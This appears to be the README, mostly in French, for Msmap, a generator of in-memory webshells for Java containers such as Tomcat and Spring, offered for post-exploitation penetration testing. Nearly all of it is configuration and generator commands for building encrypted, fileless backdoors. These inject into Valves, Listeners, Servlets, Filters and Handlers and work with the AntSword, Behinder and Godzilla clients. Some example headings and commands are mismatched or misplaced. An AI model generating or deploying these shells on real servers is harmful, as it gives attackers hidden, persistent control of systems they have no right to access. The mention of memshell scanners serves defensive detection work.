
Générateur modulaire de webshell mémoire prenant en charge les conteneurs Java (Tomcat, Spring, WebLogic) avec plusieurs types de shells, encodeurs et compilation automatique pour les tests de pénétration post-exploitation.
Msmap est un générateur de WebShell mémoire. Compatible avec divers conteneurs, composants, encodeurs, WebShell / Proxy / Killer et clients de gestion. 简体中文
The idea behind I, The idea behind II, The idea behind III



*: SpringHandler ne supporte que JDK8+
*: JVM supporte par défaut Linux Tomcat 8/9, d'autres versions peuvent être adaptées selon le guide avancé.
WebShell
Pas besoin de modularité
Proxy: Neo-reGeorg, wsproxy
Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner
git clone [email protected]:hosch3n/msmap.git
cd msmap
python generator.py
[Avertissement] Vous DEVEZ définir un mot de passe unique, les options sont sensibles à la casse.
Modifiez config/environment.py
# Auto Compile
auto_build = True
# Base64 Encode Class File
b64_class = True
# Generate Script File
generate_script = True
# Compiler Absolute Path
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
Modifiez gist/java/container/tomcat/servlet.py
// Servlet Path Pattern
private static String pattern = "*.xml";
Si un encodeur de chiffrement est utilisé dans WsFilter, le mot de passe doit être le même que le chemin (ex. /passwd)
gist/java/container/jdk/javax.py et lib/servlet-api.jar peuvent être remplacés en fonction du conteneur cible.
Installez pip3 install pyperclip pour prendre en charge la copie automatique dans le presse-papiers.
Commande avec encodeur Base64 | Injection dans une Valve Tomcat
python generator.py Java Tomcat Valve Base64 CMD passwd
Type JSP avec encodeur Par défaut | Injection dans une Valve Tomcat
python generator.py Java Tomcat Valve RAW AntSword passwd
Type JSP avec encodeur aes_128_ecb_pkcs7_padding_md5 | Injection dans un Listener Tomcat
python generator.py Java Tomcat Listener AES128 AntSword passwd
Type JSP avec encodeur rc_4_sha256 | Injection dans un Servlet Tomcat
python generator.py Java Tomcat Servlet RC4 AntSword passwd
Type JSP avec encodeur xor_md5 | AgentFiless Injection dans un HttpServlet
python generator.py Java JDK JavaX XOR AntSword passwd
Type JSPJS avec encodeur aes_128_ecb_pkcs7_padding_md5 | Injection dans un WsFilter Tomcat
python generator.py Java Tomcat WsFilter AES128 JSPJS passwd
Type JSPJS avec encodeur xor_md5 | Injection dans un Handler Spring
Type default_aes | Injection dans une Valve Tomcat
python generator.py Java Tomcat Valve AES128 Behinder rebeyond
Type default_xor_base64 | Injection dans un Interceptor Spring
python generator.py Java Spring Interceptor XOR Behinder rebeyond
Type JAVA_AES_BASE64 | Injection dans une Valve Tomcat
python generator.py Java Tomcat Valve AES128 Godzilla superidol
Type JAVA_AES_BASE64 | AgentFiless Injection dans un HttpServlet
python generator.py Java JDK JavaX AES128 Godzilla superidol
Type JAVA_AES_BASE64 | Injection dans un Handler Spring
python generator.py Java Spring Handler AES128 Godzilla superidol
Behinder | wsMemShell | ysomap
python generator.py Java Spring Handler XOR JSPJS passwd